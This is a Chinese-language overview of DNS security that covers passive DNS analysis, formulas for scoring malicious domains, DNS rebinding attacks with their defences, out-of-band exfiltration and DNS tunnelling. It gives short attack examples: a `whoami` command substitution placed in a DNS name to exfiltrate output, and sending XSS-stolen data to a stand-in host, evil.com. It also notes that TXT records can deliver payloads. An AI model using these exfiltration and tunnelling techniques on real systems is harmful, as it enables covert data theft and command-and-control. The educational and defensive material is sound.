DNS安全皮毛(一)
字数 2012 2025-08-26 22:12:02

DNS安全深度解析

背景介绍

DNS安全是网络安全领域的重要组成部分,本文基于2019年的研究成果,整合了DNS安全领域的多项技术和攻防对抗方法,涵盖了DNS数据收集与分析、DNS重绑定攻击、带外数据攻击以及DNS隧道技术等关键内容。

DNS数据收集与分析

开放DNS数据库

  • Rapid7开放DNS数据库
    • 提供FDNS(Forward DNS)和RDNS(Reverse DNS)数据
    • 访问地址:
      • FDNS: https://opendata.rapid7.com/sonar.fdns_v2/
      • RDNS: https://opendata.rapid7.com/sonar.rdns_v2/
    • 提供API接口:https://opendata.rapid7.com/apihelp/
  • 其他数据库:如DnsDB等,建议交叉使用以满足不同需求

Passive DNS

Passive DNS是被动获取的DNS数据信息,与普通DNS数据的关键区别:

  1. 历史数据包含:不仅包含当前DNS数据,还包括历史映射关系
  2. 全局视角:通过流量抓取工具获取全局DNS数据
  3. 威胁发现:通过历史数据变更可发现隐藏关系链和未知威胁

域名关联分析

通过以下公式计算域名间联系权重:

w(d1,d2) = 1 - 1/|I(d1)∩I(d2)|

其中I(d)表示域名d映射的IP地址集合

应用实例

  • 分析恶意域名3322.org的二级域名关联
  • 通过权重关系分析未知域名与已知恶意域名的关联性

路径关联分析

对于非直接关联的域名(如D2与D6),通过中间路径分析关联性:

  1. 定义所有可能路径
  2. 选择关联性最强的路径(assoc(P)最大值)
  3. 计算路径权重(考虑路径长度折扣)

恶意性评估公式

mal(d,S) = Σ(rank(M(d),i) * (|S| - i + 1))

其中:

  • S为已知恶意域名集合
  • M(d)为d与S中各元素的关联值排序列表
  • rank函数获取元素在列表中的位置

公有云干扰处理

  1. IP排除法:剔除承载超过阈值t个域名的IP
  2. ASN分析法:通过AS编号和whois信息判断IP归属

DNS重绑定攻击(DNS Rebinding)

攻击原理

绕过同源策略(SOP)限制进行内网攻击:

  1. 第一次解析到外部合法域名
  2. 第二次解析到内网地址

实现方式

  1. 同一域名配置多个A记录(1996年JVM攻击手法)
  2. 极短TTL设置
  3. 利用浏览器Pinning时间差异
  4. 利用Flash crossdomain.xml漏洞(已过时)

防御措施

防火墙层面

  1. 关闭对外53端口,本地DNS服务器处理外部域名映射
  2. 部署dnswall
  3. 阻断对127回环地址的DNS解析请求

插件安全

  1. Flash设置严格policy文件
  2. Java使用CONNECT方法
  3. Java LiveConnect使用浏览器统一缓存池

浏览器安全

  1. Host字段检查:防止一个IP承载多个主机域名
  2. 源信息细粒化:比对公钥等额外信息
  3. 智能化Pinning
    • "C类固定":只允许同C类地址重绑定
    • 遵循RFC1938阻止公网与私网IP间重绑定
  4. 基于协议的Pinning:参考服务器policy措施
  5. 避免Pinning缺陷
    • 浏览器与插件共享pin数据库
    • 缓存同时存储URL和IP地址
    • 防范document.domain篡改

主机名授权

通过DNS records实现白名单授权:

171.64.78.146.auth.ip.in-addr.arpa. IN TXT "www.example.com"
www.example.com.auth.171.64.78.146.ip.in-addr.arpa. IN A 171.64.78.146

高级绕过技术

  1. HTTP DoS

    • 使目标主机拒绝服务
    • 迫使浏览器放弃缓存,发起新DNS请求
  2. 交互式DNS Rebinding

    • 结合DNS缓存泛洪攻击
    • 使用WebSocket维持连接接收指令
    • 构造诱惑页面保持用户驻留

防御措施

  • 增加DNS缓存大小
  • 智能化缓存清洗(优先清洗无效条目)
  • 严格Host字段检查

带外数据攻击(OOB)

常见应用场景

  1. SQL注入
  2. XSS攻击
  3. XXE漏洞
  4. 新漏洞利用初期(如Weblogic CVE-2017-10271)
  5. 绕过安全设备

典型利用方式

通过DNS协议外带数据:

`whoami`.example.com

DNS隧道技术

技术特点

  1. 隐蔽性强
  2. 支持交互式通信
  3. 可用于C&C通信(如WannaCry、XshellGhost)

记录类型利用

  1. A/AAAA记录:单向数据外带
  2. PTR记录
    • 分段存储payload
    • 后门按顺序读取并拼接
  3. TXT记录:直接存储完整命令

渗透测试应用

  1. 增强型XSS攻击

    • 通过XHR读取TXT记录获取最新脚本
    • 通过二级域名外带敏感数据
    • 示例:[sensitiveData].evil.com
  2. ICMP隧道替代方案

    • MIT Ptunnel:http://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/
    • icmpsh:http://inquisb.github.io/icmpsh/

总结

DNS安全涉及多个层面的攻防对抗,从数据收集分析到各种攻击技术的演进,安全防护措施也需要不断升级。理解这些技术原理对于网络安全研究和实践具有重要意义。

DNS安全深度解析 背景介绍 DNS安全是网络安全领域的重要组成部分,本文基于2019年的研究成果,整合了DNS安全领域的多项技术和攻防对抗方法,涵盖了DNS数据收集与分析、DNS重绑定攻击、带外数据攻击以及DNS隧道技术等关键内容。 DNS数据收集与分析 开放DNS数据库 Rapid7开放DNS数据库 : 提供FDNS(Forward DNS)和RDNS(Reverse DNS)数据 访问地址: FDNS: https://opendata.rapid7.com/sonar.fdns_ v2/ RDNS: https://opendata.rapid7.com/sonar.rdns_ v2/ 提供API接口:https://opendata.rapid7.com/apihelp/ 其他数据库 :如DnsDB等,建议交叉使用以满足不同需求 Passive DNS Passive DNS是被动获取的DNS数据信息,与普通DNS数据的关键区别: 历史数据包含 :不仅包含当前DNS数据,还包括历史映射关系 全局视角 :通过流量抓取工具获取全局DNS数据 威胁发现 :通过历史数据变更可发现隐藏关系链和未知威胁 域名关联分析 通过以下公式计算域名间联系权重: 其中I(d)表示域名d映射的IP地址集合 应用实例 : 分析恶意域名3322.org的二级域名关联 通过权重关系分析未知域名与已知恶意域名的关联性 路径关联分析 对于非直接关联的域名(如D2与D6),通过中间路径分析关联性: 定义所有可能路径 选择关联性最强的路径(assoc(P)最大值) 计算路径权重(考虑路径长度折扣) 恶意性评估公式 其中: S为已知恶意域名集合 M(d)为d与S中各元素的关联值排序列表 rank函数获取元素在列表中的位置 公有云干扰处理 IP排除法 :剔除承载超过阈值t个域名的IP ASN分析法 :通过AS编号和whois信息判断IP归属 DNS重绑定攻击(DNS Rebinding) 攻击原理 绕过同源策略(SOP)限制进行内网攻击: 第一次解析到外部合法域名 第二次解析到内网地址 实现方式 同一域名配置多个A记录(1996年JVM攻击手法) 极短TTL设置 利用浏览器Pinning时间差异 利用Flash crossdomain.xml漏洞(已过时) 防御措施 防火墙层面 关闭对外53端口,本地DNS服务器处理外部域名映射 部署dnswall 阻断对127回环地址的DNS解析请求 插件安全 Flash设置严格policy文件 Java使用CONNECT方法 Java LiveConnect使用浏览器统一缓存池 浏览器安全 Host字段检查 :防止一个IP承载多个主机域名 源信息细粒化 :比对公钥等额外信息 智能化Pinning : "C类固定":只允许同C类地址重绑定 遵循RFC1938阻止公网与私网IP间重绑定 基于协议的Pinning :参考服务器policy措施 避免Pinning缺陷 : 浏览器与插件共享pin数据库 缓存同时存储URL和IP地址 防范document.domain篡改 主机名授权 通过DNS records实现白名单授权: 高级绕过技术 HTTP DoS : 使目标主机拒绝服务 迫使浏览器放弃缓存,发起新DNS请求 交互式DNS Rebinding : 结合DNS缓存泛洪攻击 使用WebSocket维持连接接收指令 构造诱惑页面保持用户驻留 防御措施 : 增加DNS缓存大小 智能化缓存清洗(优先清洗无效条目) 严格Host字段检查 带外数据攻击(OOB) 常见应用场景 SQL注入 XSS攻击 XXE漏洞 新漏洞利用初期(如Weblogic CVE-2017-10271) 绕过安全设备 典型利用方式 通过DNS协议外带数据: DNS隧道技术 技术特点 隐蔽性强 支持交互式通信 可用于C&C通信(如WannaCry、XshellGhost) 记录类型利用 A/AAAA记录 :单向数据外带 PTR记录 : 分段存储payload 后门按顺序读取并拼接 TXT记录 :直接存储完整命令 渗透测试应用 增强型XSS攻击 : 通过XHR读取TXT记录获取最新脚本 通过二级域名外带敏感数据 示例: [sensitiveData].evil.com ICMP隧道替代方案 : MIT Ptunnel:http://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/ icmpsh:http://inquisb.github.io/icmpsh/ 总结 DNS安全涉及多个层面的攻防对抗,从数据收集分析到各种攻击技术的演进,安全防护措施也需要不断升级。理解这些技术原理对于网络安全研究和实践具有重要意义。